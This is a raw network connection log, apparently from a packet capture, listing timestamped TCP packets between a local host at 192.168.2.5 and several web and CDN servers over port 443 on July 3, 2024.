Jul 3, 2024 14:38:46.083370924 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.083550930 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.084505081 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.084522009 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.086627960 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.086853981 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.088392973 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.088450909 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.088474035 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.088501930 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.088517904 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.090142965 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.090694904 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.090730906 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.127561092 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.127602100 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.128854036 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.132497072 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.160506010 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.160589933 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.160610914 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.160943031 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.161003113 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.161016941 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.161655903 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.161699057 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.161746979 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.161756039 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.162797928 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.162823915 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.162831068 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.162872076 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.162878036 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.163794994 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.163837910 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.163849115 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.164468050 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.164509058 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.164554119 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.164566040 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.164858103 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.166636944 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.166723967 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.166798115 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.169353008 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.169903040 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.169934034 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.170929909 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.170990944 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.172076941 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.172152042 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.172342062 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.172357082 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.210760117 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.216521025 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.216600895 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.216897964 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.216947079 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.216989040 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.217041969 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.217164040 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.217196941 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.217405081 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.217576981 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.217601061 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.219126940 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.219155073 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.226802111 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.231633902 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.231697083 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.235815048 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.236144066 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.236201048 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.236229897 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.236535072 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.236605883 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.236610889 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.236619949 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.236649990 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.236654997 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.236670017 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.238497019 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.239506960 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.239590883 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.239600897 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.241354942 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.241424084 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.241445065 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.245799065 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.245897055 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.245903969 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.245919943 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.246834040 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.247030020 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.247134924 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.247186899 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.247200966 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.250226021 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.252312899 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.252371073 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.252408981 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.252419949 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.252703905 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.252749920 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.258646011 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.258740902 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.258807898 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.258821011 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.264904976 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.264986038 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.265055895 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.265079021 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.266827106 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.271522999 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.271600008 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.271682024 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.277503967 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.277580023 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.277595043 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.277610064 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.277647972 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.277657986 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.283895969 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.283962965 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.284018993 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.284046888 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.284578085 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.287071943 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.287094116 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.290766001 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.290810108 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.290867090 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.290880919 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.295615911 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.295667887 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.295676947 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.295717955 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.295762062 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.295768976 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.301448107 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.301516056 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.301522970 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.304274082 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.304291010 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.319880009 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.319912910 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.319931984 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.319958925 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.320004940 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.323180914 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.323239088 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.323292971 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.323335886 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.328068018 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.328185081 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.328404903 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.328429937 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.329751015 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.329790115 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.329808950 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.329837084 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.329883099 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.330151081 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.330703020 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.330735922 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.330765009 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.330775023 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.330816984 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.330949068 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.331126928 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.331157923 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.331171989 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.331178904 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.331212997 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.331535101 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.332628012 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.332709074 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.332720041 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.332813025 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.332863092 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.332871914 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.336335897 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.336410046 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.336441040 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.336472034 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.336505890 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.336522102 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.337038040 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.337100983 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.337111950 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.338946104 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.339117050 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.339131117 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.342452049 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.342545033 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.342571974 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.343010902 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.343163013 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.343172073 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.343189955 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.343230963 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.345103979 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.345179081 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.345196009 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.346555948 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.346602917 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.346612930 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.348381996 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.348447084 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.348501921 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.348541975 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.349176884 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.349334955 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.349348068 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.351032972 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.351080894 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.351138115 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.351150990 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.351846933 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.351952076 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.352611065 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.352739096 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.352787971 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.352809906 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.355221987 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.355251074 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.357711077 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.357779026 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.357803106 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.357816935 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.357856989 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.357865095 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.362317085 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.362487078 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.362498045 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.367161036 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.367203951 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.367223978 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.367479086 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.367521048 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.367532015 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.370650053 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:46.370688915 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:46.370784998 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:46.371162891 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:46.371174097 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:46.371927977 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.371985912 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.371985912 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.372009993 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.372061968 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.375111103 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.375139952 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.375296116 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.375586987 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.375598907 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.376534939 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.376672983 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.376780033 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.376796961 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.381237030 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.381274939 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.381305933 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.381328106 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.381366968 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.385782003 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.385873079 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.385895967 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.392116070 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.392174959 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.392194986 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.392268896 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.392328024 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.392335892 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.393589020 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.393632889 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.393735886 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.393759012 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.394798040 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.394830942 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.394856930 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.394875050 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.395221949 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.395690918 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.395754099 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.397766113 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.398756027 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.398823977 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.400686979 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.400705099 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.401390076 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.401408911 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.405854940 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.405898094 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.405903101 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.405921936 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.405958891 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.410180092 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.410247087 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.410392046 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:46.410429955 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:46.410491943 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:46.410759926 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:46.410770893 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:46.411524057 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.412592888 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.412637949 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.412650108 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.412743092 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.412781954 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.417948961 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.417970896 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.424866915 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.424942017 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.424983978 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.425017118 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.425663948 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.425713062 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.425720930 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.425745010 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.425801039 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.427148104 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.427165031 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.448864937 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.448915005 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:46.448970079 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.449799061 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.449824095 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:46.449881077 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.450783968 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.450833082 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:46.450889111 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.451479912 CEST	49762	443	192.168.2.5	157.240.0.35
